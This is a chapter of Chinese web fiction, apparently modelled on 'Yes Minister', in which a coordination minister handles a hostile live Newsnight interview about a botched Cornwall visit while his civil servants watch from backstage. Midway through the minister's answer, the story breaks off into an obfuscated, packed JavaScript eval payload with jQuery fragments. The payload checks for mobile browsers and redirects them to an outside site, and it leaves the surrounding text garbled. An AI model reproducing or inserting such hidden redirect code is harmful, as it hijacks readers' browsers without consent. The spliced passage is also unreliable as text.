协同协调部代理常任秘书办公室。


    阿利斯泰正坐在办公桌后伏案工作，斜对着他的一台小型电视机正静音播放着节目。


    他伸出右手看了一眼腕表，拿起听筒，拨通了自己私人秘书处的内线电话。


    “Sir？”值班秘书的声音传来。


    “帮我接通财政部，找道格拉斯爵士的私人秘书。告诉他，我可能需要在十一点左右，和道格拉斯爵士进行一次紧急通话。”阿利斯泰一手拿着话筒，一边继续翻阅文件。


    “是的，我知道时间很晚，向他转达我的歉意。是的，就在《新闻之夜》结束之后。不，现在就预约线路。他会明白的。还有，请确保线路畅通，如果对方提前回电，随时转接给我。谢谢。”


    电话挂断。


    阿利斯泰提笔在眼前的文件上落下签名，接着起身走到电视机旁，旋动音量旋钮。


    《新闻之夜》的片头曲伴随着旋转的地球图案响起。


    “10秒。”


    耳机里导播倒数着，摄像机悄无声息地滑向不同的角度。


    “3。”


    “2。”


    “1。”


    “ON AIR”红色提示灯亮起，直播开始。


    “晚上好。”彼得·帕克斯曼两手自然搭在新闻桌上，背景是深邃的蓝色，“今晚，我们有幸邀请到了一位新政府中新部门的大臣，协同协调部大臣，查尔斯·海德阁下。大臣，欢迎您。”他半侧过身望向坐在一旁的查尔斯。


    “晚上好。”查尔斯先是看向镜头问好，接着转向主持人：“很高兴能来到这里，彼得。”


    “海德大臣，您部门的名字听起来既宏大又模糊，很多人甚至搞不清它的具体职责。您能用简单的语言告诉我们的观众，这个部门究竟是做什么的吗？”


    “当然，彼得。”查尔斯轻轻颔首，“简单来说，我们的工作就是确保政府的左手知道右手在做什么。当一个问题，比如渔业危机，同时涉及到农业、环境、旅游和财政时，就需要一个部门来确保所有政策能够协同作用，而不是彼此掣肘。”


    帕克斯曼微微挑眉，有些没想到他会主动提到这个点，但顺势推进话题：“说到渔业危机，您上周在康沃尔的访问引发了巨大关注。那次访问以一种相当令人难忘的方式结束，我们看到了一些非常戏剧性的画面。”


    他一手轻轻张开引导，两人后面不远处的小屏幕上，清晰的出现了一张照片，正是康沃尔现场查尔斯被拍下的狼狈模样。


    “上午，您对渔民许下诺言；下午，您却为一场庆祝消费的盛宴剪彩，有反对者戏称您为‘双面海德（Mr Hyde and Jekyll）’。我的问题是，您和您这个旨在协同协调的部门，在这两件截然相反的事件中，究竟起到了什么样的协同作用？”


    摄像机对准了查尔斯，连着他边上的屏幕一起出现在了镜头中。


    后台的监视器前，正用铅笔记录着对话的西里尔，不自觉在笔记本上留下一个较深的点。


    这个问题看似在问“协同”，实则是在逼迫查尔斯为那场公关灾难辩护。


    照片的出现，更是赤裸裸的视觉施压。


    不过安全稿上已经准备了应对相关问题的参考回答。


    例如：康沃尔之行是一次富有成果的坦诚交流，它深刻揭示了地方社区在面对国家及国际政策挑战时的复杂困境。DSC的核心职责正是识别并协调这些看似矛盾的利益点，我们深入倾听了渔民的合理诉求，也感受到了地方经济多元发展的活力。尽管现场出现了一些小小的插曲，但它并未改变我们直面问题，并寻求解决方案的决心。我们部门已开始着手将这些地方反馈，转化为中央政府层面可行的协同议题……


    丹尼斯下意识摸了摸自己的额头，等待着监视器里大臣的回复。


    查尔斯看了一眼屏幕上的图片，然后将目光转回帕克斯曼，脸上并没有露出对方期待看到的负面情绪。


    “彼得，我必须承认，这是张拍得相当不错的照片。它很有冲击力，可能是我这辈子最不想被定格的瞬间。我完全理解为什么会有人这么看，‘双面海德’是个很巧妙的双关语。”


    他坦然地微笑道：“是的，那一天的康沃尔，我确实向人们展示了看起来截然不同的两面。”


    “哦？您是在承认自己的两面性吗？大臣？”


    “我说的是现实的两面，彼得。”查尔斯轻轻摇头，“上午我看到的，是康沃尔渔业面临的严峻挑战；下午我看到的，是康沃尔旅游业和餐饮业的巨大潜力。它们都是康沃尔经济现实的一部分。”


    他做了个手势：“我们的渔业社区正在为生计挣扎，而我们的旅游餐饮业又是地方经济的重要支柱。这两者同时存在，并且充满了矛盾。我的职责，DSC的职责正是要直面它，去找到一个方法，让这两面能够和谐共存，找到一条可持续的出路。我若只参加其中一项活动，那才是真正的‘双面’。”


    “听起来很崇高的目标。”帕克斯曼迅速夺回主动权，“但现实是，您那天上午做出的承诺——比如调查执法、污染问题——听起来更像是权宜之计。您能告诉我们，这些承诺现在有任何实质性进展吗？”


    “当然，彼得。我很高兴你问到这个问题，因为它让我有机会澄清一些事实。”查尔斯身体微微前倾，看向前方的摄像头，“那些承诺绝不是权宜之计，它们是行动的开始。”


    他的语速不快，但每个词都清晰有力：“就在康沃尔之行结束后的第二天，我的部门已经向环境部、国防部和财政部，发出了一系列正式问题清单（issued a formal list of questions）。”


    “‘问题清单’？”帕克斯曼抓住话头，“海德大臣，您是在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444116|182690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    调查您的内阁同僚吗？”


    “不，彼得，我们是在协同。”查尔斯纠正道。


    “我们只是带回并整理了问题，确保这些问题被摆在正确的办公桌上，并得到应有的重视。”他逐一列举了各个首要问题：“我们向DoE询问，为何法尔茅斯河的污染问题常年得不到解决；我们向MoD询问，为何我们的巡逻队没能有效阻止外国渔船的违规捕捞；我们向HMT询问，为何燃油补贴的申请流程如此复杂，以至于那些最需要它的人难以得到它。”


    “那么海德大臣，如果有部门对您的‘问题’回应迟缓，或者用一堆官僚辞令来搪塞您呢？”


    “彼得，我相信我的内阁同僚们和他们领导下的优秀文官，会本着服务公众的共同目标，给予积极且富有建设性的回应。这正是本届联合政府协同精神的体现。”


    查尔斯将准备好的回答说出，但紧接着又补充道：“我相信DoE会很快提供法尔茅斯河流域内，所有持证排污企业的最新监测报告；而MoD也正在整理确认，过去六个月在康沃尔外海的巡逻日志和执法记录；我们还会与HMT的官员探讨，如何简化个体渔民燃油补贴中，现有申请流程的技术性障碍。”


    帕克斯曼脸上闪过一丝惊讶，显然没想到他会回答的如此具体。


    后台的丹尼斯听到这里，不自觉吐出了一串“No”。


    他转头看向往笔记本上写着关键词的西里尔：“他不应该说后面这段的。”


    “你会习惯的，大臣的即兴发挥。”西里尔回了个无奈的表情，“我们的工作就是将各项变量纳入考量，准备好不同的预案。确保事情发生时，整个系统是准备好的，至少别像上次在康沃尔那样措手不及。”


    “还有……”


    他压低声音：“你不应该评价这句的。”


    丹尼斯立刻闭上了嘴。


    他想起来自己先前去询问代理常任秘书，询问为什么要将那两件风险略大的提议，加入大臣发言稿的部分时，阿利斯泰给出的回答：


    “……我们有两个选择。选择A，是否决这个提议，然后面对一个在直播中可能因不满而彻底脱稿，制造更大灾难的大臣。选择B，接受大臣的核心诉求，然后尽可能把它包裹成一个可控的风险。我们的工作不是阻止大臣拥有政治抱负，而是确保这些抱负在实现的过程中，不会炸毁整艘船。去吧，我们需要准备好不同措辞的新闻稿草案，分别用于描述‘一次成功的政策沟通’、‘一次坦诚的政策探讨’，以及‘一次因媒体误读而引发的富有挑战性的交流’。我相信你能胜任。”


    丹尼斯将目光重新投向监视器，等待着第二个风险点出现。


    演播室内，帕克斯曼敏锐地判断出，在具体行政细节上与一位有备而来的大臣纠缠，只会让节目变得乏味。


    一个好的采访者知道何时该深入追击，何时该转换战场。